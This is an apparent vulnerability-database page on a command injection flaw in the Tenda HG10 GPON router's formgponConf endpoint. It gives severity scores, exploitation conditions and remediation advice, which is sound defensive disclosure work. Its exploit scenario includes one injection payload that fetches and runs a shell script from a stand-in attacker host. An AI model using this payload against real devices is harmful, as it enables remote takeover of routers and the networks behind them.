Skip to main content

Tenda HG10 CVE-2026-86167

| EUVDEUVD-2026-72055 HIGH
OS Command Injection (CWE-78)
2026-09-06 VulDB GHSA-w592-pr34-frcq
8.6
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or guess admin credentials
  2. Delivery
    Authenticate to Boa web management panel
  3. Exploit
    POST crafted fmgpon_loid payload to /boaform/admin/formgponConf
  4. Execution
    CWE-78 triggers unsanitized shell execution
  5. Persist
    Execute arbitrary commands as root
  6. Impact
    Full device takeover

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to authenticate to the Boa-based admin web interface (PR:L per CVSS 4.0 vector), meaning valid administrative credentials for the Tenda HG10 management panel are a prerequisite. The vulnerable endpoint /boaform/admin/formgponConf must be reachable - it is accessible over the network (AV:N), so exposure depends on whether the admin interface is bound to WAN, LAN, or both. No special firmware option or feature flag beyond default GPON router configuration is required, as GPON OID configuration is a standard function of this device class. Exploitation is limited by: (1) requirement for valid admin credentials, and (2) network reachability to the Boa web server port. Admin credential compromise via default password, brute-force, or prior access is the realistic precondition.

Impact

The CVSS 4.0 base score of 8.6 (AV:N/AC:L/AT:N/PR:L/UI:N with VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) signals high severity with both vulnerable-system and subsequent-system impacts rated high, reflecting full device compromise and potential lateral movement into the home/ISP network. PR:L indicates some level of authentication is required to reach the /boaform/admin/ path, which partially limits opportunistic internet-wide exploitation - unauthenticated mass scanning would be blocked without valid credentials. However, the public PoC on GitHub (E:P in the CVSS 4.0 supplemental metrics) substantially lowers the bar for exploitation by authenticated or credential-guessing attackers. No CISA KEV listing and no EPSS data are present in the input, suggesting limited confirmed in-the-wild exploitation at time of analysis. The primary real-world risk scenario is a compromised or default-credentialed admin account enabling full router takeover, which is realistic given that consumer/ISP GPON routers frequently ship with default credentials or expose the admin panel on the LAN/WAN side.

Exploit ScenarioDerived

An attacker with access to the router's admin interface - either via default credentials, credential stuffing, or LAN-side access - sends an HTTP POST to /boaform/admin/formgponConf with a fmgpon_loid value containing shell metacharacters such as ; id; wget http://attacker.com/shell.sh -O /tmp/s; sh /tmp/s. The Boa handler passes this value directly to a system call without sanitization, executing the injected commands as root. A public PoC demonstrating this exact parameter injection exists on GitHub, reducing exploitation difficulty to script-kiddie level for any attacker who first obtains admin credentials.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 PoC candidate (unverified) No patch listed yet 1.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Sep 06, 2026

OS command injection in Tenda HG10 GPON router firmware 300001138 allows authenticated network attackers to execute arbitrary shell commands on the device by manipulating the fmgpon_loid parameter in the /boaform/admin/formgponConf endpoint served by the Boa embedded web server. The fmgpon_loid argument (GPON Line OID) is passed unsanitized to a system call (CWE-78), giving an attacker full control over the underlying Linux OS. A public proof-of-concept exploit exists on GitHub, and the CVSS 4.0 E:P supplemental metric confirms exploit code is available.

Earlier versions of this analysis (1)
v1 Sep 06, 2026 - 04:59 CVSS 9.4

OS command injection in the Tenda HG10 GPON router (firmware 300001138) lets an attacker inject shell commands through the fmgpon_loid parameter of the formgponConf handler at /boaform/admin/formgponConf, served by the embedded Boa web server. Successful exploitation runs arbitrary commands on the device - typically as root on this class of hardware - yielding full device takeover. Publicly available exploit code exists (VulDB), though there is no public exploit identified as being used in active campaigns and it is not in CISA KEV.

RemediationAI

No vendor-released patch has been identified at time of analysis; the references point only to VulDB entries and the researcher's PoC, with no Tenda security advisory or fixed firmware version listed. Tenda's main website is referenced but no patch URI is available. As compensating controls: restrict access to the /boaform/admin/ path to trusted LAN IP ranges only using firewall rules on the upstream router or ISP CPE, as the Boa server itself typically lacks ACL configuration. Change any default admin credentials immediately - this is the primary prerequisite for exploitation. If the GPON OID configuration feature is not actively needed, consider disabling access to the formgponConf endpoint via firewall policy blocking port 80/443 on the WAN interface. Monitor Tenda's support portal (https://www.tenda.com.cn/) for a firmware update. Trade-off: blocking admin interface access on WAN prevents remote management but also prevents remote exploitation.

Affected VersionsENISA

HG10 300001138

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Tenda HG10 is a GPON (Gigabit Passive Optical Network) fiber-optic home router running the lightweight Boa HTTP server to serve its web management interface. The vulnerable handler, formgponConf in /boaform/admin/formgponConf, processes GPON OLT credentials including fmgpon_loid (Line OID). CWE-78 (Improper Neutralization of Special Elements used in an OS Command) indicates the fmgpon_loid value is concatenated directly into a shell command string - e.g., via system() or popen() - without escaping shell metacharacters. Because Boa typically runs as root on embedded devices, successful injection yields full OS-level access. The affected CPE is cpe:2.3:a:tenda:hg10:*:*:*:*:*:*:*:*, with the wildcard version field indicating no specific firmware version boundary has been published beyond the reported build 300001138.

Know when Hg10 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 8.6 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
vuln.today AI 9.9 CRITICAL

Network-reachable admin endpoint (AV:N/AC:L), requires authentication (PR:L); full OS command execution scopes beyond the process (S:C), yielding complete C/I/A compromise.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

4
Analysis Updated
Sep 06, 2026 - 05:29 vuln.today
v2 - CVSS changed
Severity Changed
Sep 06, 2026 - 05:22 NVD
CRITICAL HIGH
CVSS changed
Sep 06, 2026 - 05:22 NVD
9.4 (CRITICAL) 8.6 (HIGH)
CVE Published
Sep 06, 2026 - 04:30 cve.org
CRITICAL 9.4

DescriptionCVE.org

A vulnerability was identified in Tenda HG10 300001138. Impacted is the function formgponConf of the file /boaform/admin/formgponConf of the component Boa. The manipulation of the argument fmgpon_loid leads to os command injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used.

Technical POC Analysis

The flaw is CWE-78, OS command injection, in the Boa web server handler formgponConf, exposed at /boaform/admin/formgponConf on Tenda HG10 firmware HG7HG9HG10re300001138.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

Tenda HG10 GPON routers (firmware 300001138) contain a command injection vulnerability exploitable by authenticated users, with publicly available exploit code identified. Organizations using these devices face complete infrastructure compromise if administrative credentials are exposed or exploited, enabling attackers to pivot into connected networks.

Business Impact: High
Compensating Controls

Restrict network access to router management interface using firewall IP whitelisting or require VPN authentication for all administrative sessions; implement strict network segmentation to isolate the GPON router from critical infrastructure; monitor router logs for unusual command execution patterns or authentication anomalies; disable remote management access if not required for operational continuity; enhance monitoring of network traffic to and from the router for indicators of compromise.

Threat Intelligence Overview

EPSS Score
1.6%
Top 25% exploitable
Prevalence
Low
Niche GPON fiber router, primarily ISP-provisioned in specific regional markets
Social Media
3
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 1.6%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +43
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Hg10

View all
CVE-2026-82542 CRITICAL POC
9.3 Aug 30

Remote code execution and device takeover in the Tenda HG10 (firmware build 300001138) is possible through a stack buffe

CVE-2026-104610 CRITICAL POC
9.3 Oct 02

Stack-based buffer overflow in the Boa Web Server component of Tenda HG7, HG9 and HG10 XPON gateways running firmware 30

CVE-2026-86165 HIGH POC
8.9 Sep 06

Remote unauthenticated buffer overflow in Tenda HG10 firmware 300001138 allows network attackers to corrupt memory and l

CVE-2026-85109 HIGH POC
8.9 Sep 03

Pre-authentication remote buffer overflow in Tenda HG10 router firmware version 300001138 allows unauthenticated network

CVE-2026-86166 HIGH POC
7.4 Sep 06

Buffer overflow in the Tenda HG10 router (firmware version 300001138) via the `formWanRedirect` function allows a networ

CVE-2026-11553 HIGH POC
7.4 Jun 08

Stack-based buffer overflow in Tenda HG7, HG9, and HG10 XPON ONT routers (firmware 300001138_en_xpon) allows authenticat

CVE-2026-6988 HIGH POC
7.4 Apr 25

Remote authenticated attackers can execute arbitrary code on Tenda HG10 routers (firmware HG7_HG9_HG10re_300001138_en_xp

CVE-2026-85110 HIGH POC
7.4 Sep 03

Buffer overflow in Tenda HG10 router firmware version 300001138 enables network-accessible authenticated attackers to ov

CVE-2026-11499 CRITICAL
9.3 Jun 08

Stack-based buffer overflow in Tenda HG7HG9 and HG10 routers (firmware 300001138_en_xpon) allows remote attackers to cor

CVE-2026-11498 HIGH
8.7 Jun 08

Stack-based buffer overflow in Tenda HG7, HG9, and HG10 ONT/router devices (firmware 300001138_en_xpon) allows authentic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy